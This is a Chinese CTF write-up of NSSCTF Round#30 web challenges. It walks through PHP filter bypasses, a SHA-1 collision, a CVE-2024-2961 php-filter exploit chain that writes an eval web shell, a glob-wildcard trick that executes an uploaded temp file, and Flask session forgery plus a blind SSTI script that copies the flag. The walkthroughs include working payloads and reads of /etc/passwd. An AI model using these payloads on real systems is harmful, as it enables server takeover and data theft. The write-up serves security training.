NSSCTF Round#30

NSSCTF Round#30 小桃的PHP挑战

第一关

  • isset($_GET['one']) ✅ 为真
  • $str = '9'
  • $add = substr('9', 0, 1)'9'
  • $add++'10'
  • strlen($add) = 2 > 1 → ✅ 条件成立
  • 执行 $A = 1;,不会执行 echo

✅ 所以:**传 **?one=1&str=9**,会使$A=1

第二关

先传一个two=1

🚫 黑名单限制:

  • 禁止:;、空格、$#、反引号、单双引号、星号、问号、尖括号、换行、^ 等等。

这里的$B=1 在 if 的 try 里

只要我们能进入if循环的try里即可

这里我们只需要注释一下就行 直接传 *comment=/或者//都可以

然后try里就会是

1
eval('$B = 1;'./*.';echo $two;die();'); 

/*会把后面的都给注释掉 但似乎并不会影响下一层 if 的检查与传参

//这一行后面的给注释掉

第三关

还是先传一个three=1

这里是sha1的强碰撞

去网上查一下 这里用burpsuite hackbar应该是传不上的

1
one=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&two=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

传上去之后用file读取一下/etc/passwd看看有没有成功

&file=/etc/passwd

image-20250406154125134

下面就是一个CVE-2024-2961漏洞

读取/proc/self/maps文件

image-20250406154256537

将其保存为maps

找到libc文件的位置

image-20250406154512635

读取libc文件

file=php://filter/read=convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so

image-20250406154651249

将得到的内容base64解码,保存为libc.so

image-20250406154922140

使用脚本生成payload

脚本网址:https://github.com/kezibei/php-filter-iconv

mapslibc.so放入该py脚本的同目录文件夹下

修改python脚本的cmd命令和libc文件名称

1
cmd = "echo '<?php @eval($_POST[\"cmd\"]); ?>' > /var/www/html/shell.php"

image-20250406155151129

image-20250406155205395

运行脚本生成payload

image-20250406155249538

payload:

1
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXsO/NDkG2hKOlUqui757lFHlzbnbnd65DelN/cfjJ/Ayx65q8t737UbREhDvbsQb5H7UK/4R2s3q9UrIK1WTAD3wSY/t3nHqrlXrmlO63oGk7XTc5EtChtnGde8zTsqlGaU/FqjVP31G6qUBAx%2bSI68rrinZ7SW4u6t47JTVvYo4Afg0zTtWuLZxaBLRi6RfzA98Lte/z76v5E/J907v3qfV17%2bRT62v/rdczOXlj3ZfquosdT94z4jev4X/5eaG9Nq80krddvWF/Ou5UXP2t%2bO1/F79Zf97u7EeN38ePx8nX/9uTtu/v858T/5zCb9iH%2bJ3/y/Y2/Pl3%2byvTp9/rk79ld/4tvT///e/PF4%2bvfrN90/3rf/8V21f822N/f13%2b/d9fvuXu3x/LHl3vXdn3Nvf%2bNnu/c6JFK3fZ268vjvv9t3Z//TfTz4c3fiqb%2b63q3fmvUZvjvGvjvFPvfXf3K956e%2buV7X93fn18fPvfb9/%2bau188Hex/r1%2b%2b3XctXXxH0p398Xfd5f7/jrvutX76%2bGPv8nV21w8vv/9Wolj/JZKP6uZCYTxsV3XdnjtBEZKUNLMm%2b/r/0er3CagpeGhjVLy6Yy17r2pQhO/yI8qHlU8qpjOihOqsjUNLz9e9zjzvltkcmeKNKHyPV9XNa3qTqnN29sa2ToTcwhl8Zdrlx7x6d/dt7xWOrVXdVIuAeMN1m69ssOrU/7lNvnK3RtrOuOn1f95Or8%2bdlrHBlkCWpdtnSYVrvlR%2be63xUc%2bHVU6VEZA/YxrUVkxS4/0l9zuFzot3t1RzwgA

发包

image-20250406155327546

然后用yijian连接

image-20250411092907233

flag在这个文件夹下

image-20250406160009741

你是谁的菜鸟,又是谁的佬大

image-20250417213543893

exec执行的命令 有没什么回显 还过滤了字母及一些符号 也不能用自增取反绕过了

这里用文件上传绕过 看到wp好新颖的感觉

  • shell下可以利用.来执行任意脚本 (类似于source)
  • Linux文件名支持用glob通配符代替

通过上传一个文件, PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

保存一个upload.html文件


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<form action="http://node1.anna.nssctf.cn:28008/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后去浏览器里访问它 随便上传一个文件

抓包后是这个样子的 然后再进行传参 执行命令

image-20250417214120184

image-20250417214049775

1
?NSS=.%09/???/????????[@-[]

.

  • 当前目录。

%09

  • URL 编码的制表符(Tab)。用于混淆路径或绕过路径解析器/WAF。

/

  • 路径分隔符。

???

  • 在 glob 中代表任意三个字符

/

  • 路径分隔符。

????????

  • 任意八个字符。

[@-[]

  • 这个是最复杂和最有趣的部分。这是 glob 模式中一种字符集范围选择:

    • [@-[] 代表一个字符范围,从 @[,ASCII 值从 64 (@) 到 91 ([)。
    • glob 中 [] 表示一个字符集,类似正则表达式中的 [abc]
    • [@-[] 表示匹配 @[ 范围内的任意单个字符(包括大写字母、\, [, Z, 等)。
    • 注意:因为 [ 是 glob 的保留字符,所以这个写法其实是边界情况,具体能否解析,取决于解析器。

    a827f363-7520-4fe9-aac1-b8ceba21a1f3.5be5b8cfbacc

1
2
3
#!/bin/sh

ls / >1.php

#!/bin/sh

这是一个 shebang(哈希叹号),用于指明这个脚本应该由哪个解释器来运行。

然后再去访问1.php 如果没成功就多发包几次

image-20250417215105500

image-20250417215124531

image-20250417215134478

hack_the_world!

这里首先是一个sessio伪造

给了源码附件的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, request, render_template,render_template_string, url_for, session
import time
import os

app = Flask(__name__)
app.secret_key = 'NSS'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
def contains_forbidden_keywords(complaint):
for keyword in FILTER_KEYWORDS:
if keyword.lower() in complaint:
return True
return False
@app.route('/', methods=['GET', 'POST'])
def index():
session['user'] = 'Gamer'
return render_template('index.html')

@app.route('/hack', methods=['GET', 'POST'])
def hack():
if session.get('user') != 'hacker':
return render_template('die.html',user=session.get('user'))
if (abc:=request.headers.get('User-Agent')) is None:
return render_template('fobidden.html')
cmd = request.form.get('cmd','noting')
if (answer:=request.args.get('answer')) == 'hack_you':
if contains_forbidden_keywords(cmd):
return render_template('forbidden.html')
else:
render_template_string(f'{cmd}',cmd=cmd)
css_url = url_for('static', filename='style.css')
js_url = url_for('static', filename='script.js')
return render_template_string(f'''

<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>fake world</title>
<link rel="stylesheet" href="{css_url}">
<!-- No ping No curl No nc , little hacker blind no way-->
</head>
<body>
<canvas class="matrix"></canvas>
<div class="bg-animation"></div>
<div class="container">
<h1>So, what are you trying to do</h1>
<p>Just quit, little hacker. There’s nothing for you here.</p>
</div>
<script src="{js_url}"></script>
</body>
</html>
''', css_url=css_url,js_url=js_url)


可以看到 app.secret_key = ‘NSS’

要在hack路由伪造 user=hacker

通过flask-unsign伪造cookie:session即可

1
python flask-unsign --sign --cookie "{'user':'hacker'}" --secret "NSS"

image-20250422210001275

image-20250422210050463

这里也就成功伪造sessio了

下面是一个jinja 的ssti盲注

源码会在渲染模板的时候用到了两个静态文件

1
2
css_url = url_for('static', filename='style.css')
js_url = url_for('static', filename='script.js')

这里我们就可以想是否可以影响该静态文件从而将flag给带出来呢?python题目的话,通常的文件路径会是/app/app.py 静态文件的存放位置则会在/app/static路由下面,这里的话我们就可以将flag给echo到这下面的静态文件里面,比如说

1
cat /flag > /app/static/script.js

image-20250422210253555

上面说的是将flag储存到/static/script.js这个静态文件里

下面是

有个wp给的脚本 原脚本跑出来总有转义字符(一开始没发现 改之后的脚本跑对了才发现) 又一点点问ai改了好久

这个脚本是把flag cat到static/flag.html这个文件里 应该用的还是静态文件 只不过新创建了一个flag.html

将flag写入Web静态目录

访问/static/flag.html拿到shell(如果别的题目没有/static目录可以先执行mkdir /app/static

这里用下面的脚本就可以直接输出

py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import fenjing
import requests
import time
import logging

logging.basicConfig(level=logging.INFO)


def waf(s: str):
# 目标应用的WAF过滤规则
blacklist = ["_", "mro", "read", "/", "]", ".", "%"]
return all(word not in s for word in blacklist)


if __name__ == "__main__":
# 硬编码有效session cookie
FORGED_COOKIE = "eyJ1c2VyIjoiaGFja2VyIn0.aATvXA.CrXfRKQ3wYxmZ0nBE_l63JqGW10"

# 生成SSTI payload
cmd = "cat /flag > /app/static/flag.html" # 修改为实际flag路径
full_payload_gen = fenjing.FullPayloadGen(waf)
shell_payload, _ = fenjing.exec_cmd_payload(waf, cmd)
print(shell_payload)

# 配置请求参数
headers = {
"User-Agent": "Mozilla/5.0", # 必须包含UA
"Cookie": f"session={FORGED_COOKIE}"
}
params = {"answer": "hack_you"} # GET参数
data = {"cmd": shell_payload} # POST参数

# 发送攻击请求
target_url = "http://node6.anna.nssctf.cn:28858/hack"
try:
resp = requests.post(
target_url,
headers=headers,
params=params,
data=data,
timeout=10
)
logging.info(f"响应状态码: {resp.status_code}")

# 验证命令执行结果
time.sleep(1) # 等待文件写入
flag_resp = requests.get("http://node6.anna.nssctf.cn:28858/static/flag.html")
if flag_resp.status_code == 200:
print(f"[+] 攻击成功!Flag: {flag_resp.text.strip()}")
else:
print(f"[-] 文件未生成,状态码:{flag_resp.status_code}")

except Exception as e:
logging.error(f"请求失败:{str(e)}")

改一下自己的网址直接运行flag

image-20250422212036734